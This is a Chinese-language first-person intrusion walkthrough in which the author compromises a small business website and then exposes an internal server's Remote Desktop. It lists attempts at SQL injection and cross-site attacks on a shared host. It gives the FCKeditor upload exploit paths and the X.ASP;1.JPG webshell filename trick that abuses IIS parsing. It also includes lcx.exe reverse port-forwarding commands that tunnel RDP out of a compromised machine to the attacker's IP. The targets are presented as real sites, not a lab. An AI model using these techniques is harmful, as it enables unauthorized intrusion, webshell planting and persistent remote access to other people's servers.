网站安全检测并开启内网服务器的3389  
目标站 [http://www.XXXX.com/](http://www.xxxx.com/)  我看了 下 最终拿到webshell了 下面说下拿站的思路  
先看看站 一个小的 企业站点 有四种思路：  
一：SQL injection  简单扫一下  啊 D是扫不注射点的  这里我就不演示了 要是能扫到 这样简单拿到也没什么意思了 我们JSKY扫一下 看看 这个工具还是比较牛逼的 但是也扫不注射点 这样一来 我们直接注射的思路就断了  这里我就不扫了 我们看看cookies注射看看  
还是不能注射 简单验证下 cookies 注射也不行  这里扫的注射是假的 工具误报的  
  
二：扫描上传看看 这里也没扫到什么 思路二失败 我们结合明小子的扫描功能 也没扫到上传 看见没有 确实没扫到上传吧  
  
三：旁注 33个站 应该是虚拟主机 这样估计跨目录是不行的了 但是没准可以提权 还是有希望 我们旁注看看<http://bstjy.net/> 这个是旁注站  这里是可以注射的 我们直接工具跑一下 呵呵一看这界面 是什么系统的 大家都知道  良精企业管理系统 这个拿webshell就不用我多说 进后台传图片马 备份下 直接就拿到webshell 这里就不演示了 太简单 我已经提权拿到webshell了 权限设置的很死 虚拟主机都这样 早料到了 看看能不能提权 这里开的端口比较少 没开1433 3306 之类的 根本不好提权 第三方软件几乎没有 所以不好搞  
--------------------------------------------------------------------------------  
127.0.0.1:1433.........關閉 没装MSSQL   
127.0.0.1:3306.........關閉 没装MYSQL  
127.0.0.1:3389.........關閉 默认终端  
127.0.0.1:4899.........關閉 radmin   
127.0.0.1:5631.........關閉 pcanywhere   
127.0.0.1:5632.........關閉 pcanywhere  
127.0.0.1:5800.........關閉  VNC  
127.0.0.1:5900.........關閉 VNC  
127.0.0.1:43958.........關閉 serv-u  
127.0.0.1:8080.........關閉  
127.0.0.1:4899.........關閉  
127.0.0.1:65500.........關閉  
总之一般方法是提权不了 想通过数据库备份一句话 或者导出一句话到目标站也不行 没有装数据库软件  
旁注站如下：  
[http://XXXX.net/inc/save.aspx](http://xxxx.net/inc/save.aspx) 服务器支持ASPX 对路径“D:\”的访问被拒绝。 权限还是没有扩大点 到这里 我们没办法 通过IIS SPY 我们知道目标站路径是这个 D:\vhosts\XXXX.com\httpdocs 但是没什么作用 这样我们还是回到目标站看看  
[http://XXXX.net/admin/Databackup/sys.asp](http://xxxx.net/admin/Databackup/sys.asp)  
四：猜测后台管理页面和编辑器 有些站身份验证不是很严格 我们直接可以访问一些后台页面 有些编辑器是有漏洞的 我们 可以利用它拿到webshell的 后台猜不到 我们来猜猜后台某些管理页面 这个文件存在 但是没什么用  我们来猜猜常用编辑器   
Forbidden  
You do not have permission to access this document.看见没有 说明编辑器是fckeditor 这个编辑器是有漏洞的 存在上传漏洞  
漏洞利用地址：fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp  
fckeditor/editor/fckeditor.html  
看见没有 上传页面存在 我们传马看看  这里马选择为X.ASP;1.JPG这个样子的 这是利用IIS解析漏洞 上传成功   路径怎么找呢 抓包肯定是可以的 但是比较麻烦 我们利用fckeditor的超级链接可以浏览服务器上面的文件 我们来看看 这个是马的地址 我们访问下   
  
看见没有成功拿下 。。。。。。呵呵。  
                            第二篇   开启内网服务器的3389  
  
五  开启内网服务器的3389  
     大概原理是：使肉鸡3389端口连接至本机51端口，利用本机51端口进行监听3388端口，通过访问本机3388端口进行连接肉鸡3389端口  
我这里有台内网的服务器，典型的内网.  
现在是肯定连不上的，我们看下有没有开3389，现在3389是开着的 我们先建立一个用户  
1.首先开3389  
2.在本机电脑运行lcx.exe，  吧这个放在C盘目录下   
然后在本机运行  lcx.exe -listen 51 3388，通过CMD运行  
3.在肉鸡上运行lcx.exe加参数 首先传上去  
lcx.exe -slave 117.43.61.XXXX 51 192.168.1.191 3389 现在已经开始监听了  
4.3389连接肉鸡，格式[127.0.0.1:3388]  
下面我们开始连接  
  
现在已经连接上了  
这样连接可能有点卡的.  
  
这只是内网开3389的一个方法